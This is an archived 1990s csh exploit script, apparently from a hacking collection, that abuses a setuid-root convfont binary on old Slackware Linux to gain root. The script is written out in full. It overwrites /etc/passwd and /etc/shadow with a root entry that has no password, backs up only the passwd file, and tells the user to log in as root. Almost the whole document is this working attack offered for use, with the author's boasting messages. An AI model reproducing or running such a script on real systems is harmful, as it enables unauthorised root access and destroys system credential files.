home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / convfontExploit.sh < prev    next >
Text File  |  1998-07-17  |  2KB  |  77 lines

  1. # Gday. This is a small exploit written in csh that uses the bug in 
  2. # convfont where it runs as uid 0. convfont loads in a file and reorders it 
  3. # to form a fontfile. It is possible to define the output of the program.
  4.  
  5. # This script creates new password (and shadow if neccessary) files, giving 
  6. # the root user no password.
  7.  
  8. # It has been tested on Slackware 2.0 and Slackware 3.0 setups. If there 
  9. # are any problems then:
  10.  
  11. # 1) Check to see if convfont is installed (part of the svgalib)
  12. # 2) Check it is setuid root
  13. # 3) Make sure it *is* a Linux system :)
  14.  
  15. #!/bin/csh
  16.  
  17. echo "convfont exploit - by Squidge"
  18. echo "squidge@onyx.infonexus.com"
  19. echo " "
  20. echo "this will get you root by exploiting a hole in /usr/bin/convfont"
  21.  
  22. #NOTE: If this auto-detect screws up, alter the variable PW_TYPE
  23. #      PW_TYPE = "plain" is for a normal /etc/passwd
  24. #      PW_TYPE = "shadow" is for a shadow /etc/passwd /etc/shadow combo
  25.  
  26. setenv PATH .:/bin:/usr/bin:/sbin:/usr/sbin 
  27. echo " "
  28. echo "determining system type"
  29.  
  30. if ( -e /etc/shadow ) then        # aha ! is a shadow system
  31.     echo "found a shadow password system. good job we're ueberhackers :)"
  32.     set PW_TYPE = shadow
  33. else
  34.     echo "found a normal password system. make some effort, mr root !"
  35.     set PW_TYPE = plain
  36. endif
  37.  
  38. set loop = 0
  39. set limit = 100
  40.  
  41. echo > /tmp/passwd root::0:0:Squidge is an Ueberhacker:/:/bin/sh
  42.  
  43. if ( $PW_TYPE == "shadow" ) then
  44.     echo > /tmp/shadow root::9566:0:99999:14:::
  45. endif
  46. echo "building passwd entry. please wait."
  47. while ( $loop < $limit )
  48.     @ loop++
  49.     echo >> /tmp/passwd "                              "
  50.     echo >> /tmp/shadow "                              "
  51.     echo -n .
  52. end
  53. echo " "
  54. echo "installing fake passwds"
  55. echo "backing up /etc/passwd to /tmp"
  56.  
  57. cp /etc/passwd /tmp/real.passwd
  58.  
  59. if ( $PW_TYPE == "shadow" ) then
  60.     echo "unable to backup /etc/shadow tho, as it is mode 600"
  61. endif
  62.  
  63. convfont /tmp/passwd 32 /etc/passwd > /dev/null
  64. convfont /tmp/shadow 32 /etc/shadow > /dev/null
  65.  
  66. if ( $status != 0 ) then
  67.     echo "\!\!\! warning. Something dodgy occured. It could be:"
  68.     echo "    convfont isn't installed"
  69.     echo "    convfont isn't setuid root"
  70.     exit
  71. endif
  72.  
  73. echo "now return to a login prompt, and type root. you don't need a password"
  74. echo "be sensible, and remember: squidge - The Guild"
  75. echo "                           *******************"
  76. rm -f /tmp/passwd /tmp/shadow
  77.